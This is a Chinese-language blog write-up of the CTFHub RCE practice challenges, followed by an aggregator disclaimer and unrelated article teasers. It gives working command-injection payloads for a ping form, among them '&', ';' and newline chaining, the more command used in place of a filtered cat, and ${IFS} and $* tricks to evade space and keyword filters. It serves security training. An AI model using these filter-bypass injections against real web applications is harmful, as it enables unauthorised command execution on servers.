ctfhub—RCE通关

0、前言

0.1 、什么是RCE

RCE全称:Remote Command/Code Execute,远程命令执行或者代码执行。RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

为什么会有命令执行漏洞呢?因为应用有时需要调用一些执行系统命令的函数,当用户调用这些函数时,由于Web应用的脚本代码在执行命令的时候过滤不严,从而注入一段攻击者能够控制的代码,在服务器上执行恶意指令。命令执行漏洞是PHP应用程序中最常见的漏洞之一。

0.2 、ctfhub-RCE所在路径

访问网址:https://www.ctfhub.com/#/skilltree ,所在路径:技能树->CTF->Web->RCE

在这里插入图片描述

1、命令注入-无过滤

考虑到服务应该是linux系统,所以用linux命令,查看当前目录的是

# 使用&,不管前面是否执行,后面的命令都会执行
127.0.0.1&ls

#执行结果是
Array
(
    [0] => 30472334127350.php
    [1] => index.php
    [2] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)

由于在浏览器上看不到flag,使用Burp Suite拦截测试,看到随机数字命名的文件,使用cat命令查看

127.0.0.1%26cat+30472334127350.php

看到flag是注释的,值是:ctfhub{e1cdd193c98190f0dded7961}

在这里插入图片描述

2、命令注入-过滤cat

跟第1题一样,先用ls查看目录文件

# 使用&,不管前面是否执行,后面的命令都会执行
127.0.0.1&ls

#执行结果是
Array
(
    [0] => flag_91981251112176.php
    [1] => index.php
    [2] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)

使用Burp Suite拦截测试,看到随机数字命名的文件,因为cat命令被过滤不能使用,使用more命令代替查看

127.0.0.1%26more+flag_91981251112176.php+

看到flag是注释的,值是:ctfhub{2da040655d87b88f4037df80}

在这里插入图片描述

3、命令注入-过滤空格

参考博客:https://blog.csdn.net/ssss39/article/details/134434486

跟第1题一样,先用ls查看目录文件

# 使用&,不管前面是否执行,后面的命令都会执行
127.0.0.1&ls

#执行结果是
Array
(
    [0] => flag_123801788413874.php
    [1] => index.php
    [2] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)

使用Burp Suite拦截测试,看到随机数字命名的文件,因为过滤空格不能使用,使用引入绕过空格过滤的字符:
< ``、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等 ,本次使用<URL编码是%3C,查看文件命令用more

127.0.0.1%26more%3Cflag_123801788413874.php

看到flag是注释的,值是:ctfhub{a2ec6ad68e25951c864afc0c}

在这里插入图片描述

4、过滤目录分隔符

参考博客:https://blog.csdn.net/qq_43006864/article/details/123890087

跟第1题一样,先用ls查看目录文件

# 使用&,不管前面是否执行,后面的命令都会执行
127.0.0.1&ls

#执行结果是
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_is_here
    [2] => index.php
)

使用Burp Suite拦截测试,看到目录flag_is_here,由于过滤目录分割符,就是命令里面不可以出现/,那么需要多条命令拼接使用;URL编码%3B,通过ls命令知道,cd命令切换到目录flag_is_here查看文件名,然后再cat命令查看文件内容。

# 先获取目标文件名
127.0.0.1%3Bcd+flag_is_here%3Bls

# 查询结果
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_227782411420576.php
)

# 再查看文件内容
127.0.0.1%3Bcd+flag_is_here%3Bls%3Bcat+flag_227782411420576.php

在这里插入图片描述

看到flag是注释的,值是:ctfhub{d3d9d4d88ce473e2746797fb}

5、过滤运算符

由于过滤了运算符,拼接使用;URL编码%3Bls命令查看目录

127.0.0.1%3Bls

#执行结果是
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_249742260718875.php
    [2] => index.php
)

使用Burp Suite拦截测试,看到随机数字命名的文件,使用cat命令查看

127.0.0.1%3Bcat+flag_249742260718875.php

在这里插入图片描述

看到flag是注释的,值是:ctfhub{20f495c6c2b7b228512105fd}

6、综合过滤练习

参考博客:https://blog.csdn.net/qq_43006864/article/details/123988681

在这里插入图片描述

从题目的展示的源码发现过滤了&、;、|、||,空格,cat命令,对于多个命令使用换行符,URL编码%0a,

URL编码表一览:https://www.laike.net/article-87-96862-0.html

所以,查看目录命令是

# 查看目录命令
127.0.0.1%0als

#执行结果是
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_is_here
    [2] => index.php
)

接下来先查看flag_is_here目录下有什么文件,但是flag也被过滤了,空格可以用 I F S 代替,在没有定义的情况下, {IFS}代替,在没有定义的情况下, IFS代替,在没有定义的情况下,*在shell命令执行下为空,使用url编码中,%0a是换行符拼接。

#查看flag_is_here目录下有什么文件命令
127.0.0.1%0acd${IFS}fl$*a$*g_is_here%0als

#执行结果是
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_295443149417453.php
)

cat命令被过滤不可使用,使用more命令

# 查看文件命令
127.0.0.1%0acd${IFS}fl$*a$*g_is_here%0amore${IFS}fl$*a$*g_295443149417453.php

在这里插入图片描述

看到flag是注释的,值是:ctfhub{a39c4136f878448824217570}

7、下期内容预告

下期会继续分享跟RCE相关内容,命令执行漏洞复现需要的环境准备,敬请关注我的公众号:大象只为你,持续更新中…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/354538.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

使用电脑时突然遇到“mfc140.dll文件丢失”的问题都有什么解决办法

当你在使用电脑时突然遇到“mfc140.dll文件丢失”的问题时&#xff0c;可能会感到困惑和苦恼。一旦出现这样的问题&#xff0c;缺少这个文件可能导致一些应用程序无法正常启动&#xff0c;影响你的工作和娱乐体验。其实这个问题是可以解决的&#xff0c;接下来我们将介绍一些可…

xxl-job相关面试题整理

什么是xxl-job&#xff1f; ​ xxl-job是一个分布式的任务调度平台&#xff0c;其核心设计目标是&#xff1a;学习简单、开发迅速、轻量级、易扩展&#xff0c;现在已经开放源代码并接入多家公司的线上产品线&#xff0c;开箱即用。xxl是xxl-job的开发者大众点评的许雪里名称的…

CSS3基础知识总结

目录 一、CSS3 边框 1.border-radius&#xff1a;圆角边框 2.box-shadow&#xff1a;添加阴影 3.border-image&#xff1a;图片边框 二、CSS3 渐变 1.线性渐变(Linear Gradients) a.由上到下&#xff08;默认&#xff09; b.从左到右 c.对角 d.使用角度 2.径向渐变(…

计算机提示缺失dll文件怎么办?那种dll解决方法更值得推荐

当在运行游戏&#xff0c;软件程序的过程中遇到“找不到dll”的情况时&#xff0c;这实际上意味着系统或应用程序无法定位并加载必要的动态链接库文件&#xff08;DLL&#xff09;&#xff0c;从而无法顺利完成预期的功能调用和执行流程。这种问题的发生可能会引发一系列严重后…

蓝桥云课-第4场小白赛理解

网址&#xff1a;第 4 场 小白入门赛 - 蓝桥云课 (lanqiao.cn) 第一题&#xff1a;美丽的2024 思路&#xff1a; 2024 -直接用变成二进制的函数或者模拟二进制的过程&#xff0c;找到有几个1就行 第二题&#xff1a;自助餐 题目&#xff1a; 思路&#xff1a;就是用字符串代…

x-cmd pkg | go - Google 开发的开源编程语言

目录 简介首次用户技术特点竞品分析编译型语言解释型语言JavaWebAssebmly 进一步阅读 简介 Go 语言&#xff08;或 Golang&#xff09;是 Google 开发的开源编程语言&#xff0c;诞生于 2006 年。其设计目标是“兼具 Python 等动态语言的开发速度和 C/C 等编译型语言的性能与安…

设计模式:工厂方法模式

工厂模式属于创建型模式&#xff0c;也被称为多态工厂模式&#xff0c;它在创建对象时提供了一种封装机制&#xff0c;将实际创建对象的代码与使用代码分离&#xff0c;有子类决定要实例化的产品是哪一个&#xff0c;把产品的实例化推迟到子类。 使用场景 重复代码 : 创建对象…

一文读懂mysql的锁

提起mysql的锁&#xff0c;你是否会似懂非懂&#xff0c;最常听人提起的就是乐观锁&#xff0c;悲观锁、排他锁、共享锁 悲观锁是用 select c form T for update然后等待提交实现的&#xff0c;但是你知道吗&#xff0c;其实排他锁和悲观锁其实是一回事&#xff01;&#xff0…

redis-4 搭建redis集群

1.为什么需要redis集群&#xff1f; Redis 集群提供了高可用性、横向扩展和数据分片等功能&#xff0c;使得 Redis 能够应对大规模的数据存储和高并发访问的需求。以下是一些需要使用 Redis 集群的常见情况&#xff1a; 高可用性&#xff1a;通过在多个节点之间进行数据复制和…

假期刷题打卡--Day17

1、MT1163孪生质数 在质数中&#xff0c;若两个质数之差为2,我们称之为孪生质数,例如&#xff08;3、5&#xff09;&#xff08;5、7&#xff09;&#xff0c;输入2个正整数&#xff0c;判断他是不是孪生质数&#xff0c;输出YES或者NO。 格式 输入格式&#xff1a; 输入整…

求职就业,你需要了解人才测评的应用流程

很多求职者心中都有一个困惑&#xff0c;不知道该人才测评的流程是如何进行&#xff0c;只知道完成基本的测试&#xff0c;完全不明白测试过程如何进行。但实际上&#xff0c;这个过程十分简单&#xff0c;并不像传说中那样神秘&#xff0c;很多人都能够弄懂过程的原理。一旦熟…

一文搞懂如何开通miniQMT(全网最清晰版本)

前言 本篇文章&#xff0c;目的是说清楚如何开通miniQMT&#xff0c;给出最清晰的开通路径。关于miniQMT是什么&#xff0c;可以参考我之前的文章《什么是miniQMT?》 1、开通券商版QMT 首先&#xff0c;迅投的QMT软件&#xff0c;与大部分券商都存在深度合作。也就是说&…

hadoop面试题

0. 思维导图 1. HDFS 1. HDFS的架构♥♥ HDFS主要包括三个部分&#xff0c;namenode,datanode以及secondary namenode。这里主要讲一下他们的作用&#xff1a;namenode主要负责存储数据的元数据信息&#xff0c;不存储实际的数据块&#xff0c;而datanode就是存储实际的数据块…

【.NET Core】深入理解C#中的特殊字符

【.NET Core】深入理解C#中的特殊字符 文章目录 【.NET Core】深入理解C#中的特殊字符一、概述二、$-- 字符串内插2.1 内插字符串的结构2.2 内插原始字符串字面量2.3 特殊字符2.4 内插字符串编译 三、-- 逐字字符串标识符四、“”“--原始字符串文本 一、概述 特殊字符是预定义…

【计算机网络】中小型校园网构建与配置

拓扑图配置文件传送门 Packet Tracer-中小型校园网配置布局文件文件 相关文章 【计算机网络】IP协议及动态路由算法 【计算机网络】Socket通信编程与传输协议分析 【计算机网络】网络应用通信基本原理 原理 1. Network 广域网&#xff0c;WAN Wide Area Network&#xff…

微信小程序-支付功能-整合springboot功能

微信小程序-支付功能 首先我这里得声明,微信支付比较繁琐,所以我写的都很仔细,所以如果你没有耐心的化,应该是看不下去的,我力求,以后我们用到微信支付代码的时候,我看到这个文章就能很好的搭起来,而不是直接抄别人的代码,我觉得学的还是一个思想,和框架,了解它整体的流程,以后…

网页转文件下载工具

为了更快捷copy博客 做了个 网页转文件下载工具 1.0.1 更新如下&#xff1a; javaphpjava提供页面转换文件的微服务APIphp调用接口&#xff0c;输出文件下载支持网页转md 1.0.2 更新如下&#xff1a; 样式表切换&#xff0c;白天or黑夜&#xff0c;cookie七天保质期 未…

网络原理,网络通信以及网络协议

​​​​&#x1f493; 博客主页&#xff1a;从零开始的-CodeNinja之路 ⏩ 收录专栏&#xff1a;网络原理,网络通信以及网络协议 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 文章目录 网络原理概念网络通信局域网LAN广域网WAN 网络通信IP地址端口号…

【GitHub项目推荐--GPT开源项目】【转载】

Auto-GPT Auto-GPT 是一个实验性的开源项目&#xff0c;基于 GPT-4。你给出 Auto-GPT 一个的任务&#xff0c;它不会立即输出答案&#xff0c;而会先自己通过多轮对话来琢磨、验证、决策&#xff0c;从而自己找出一条达成目标的路&#xff0c;整个过程完全不需要人类插手&…

LeetCode:376.摆动序列

个人主页&#xff1a;仍有未知等待探索-CSDN博客 专题分栏&#xff1a;算法_仍有未知等待探索的博客-CSDN博客 题目链接&#xff1a;376. 摆动序列 - 力扣&#xff08;LeetCode&#xff09; 一、题目 如果连续数字之间的差严格地在正数和负数之间交替&#xff0c;则数字序列称…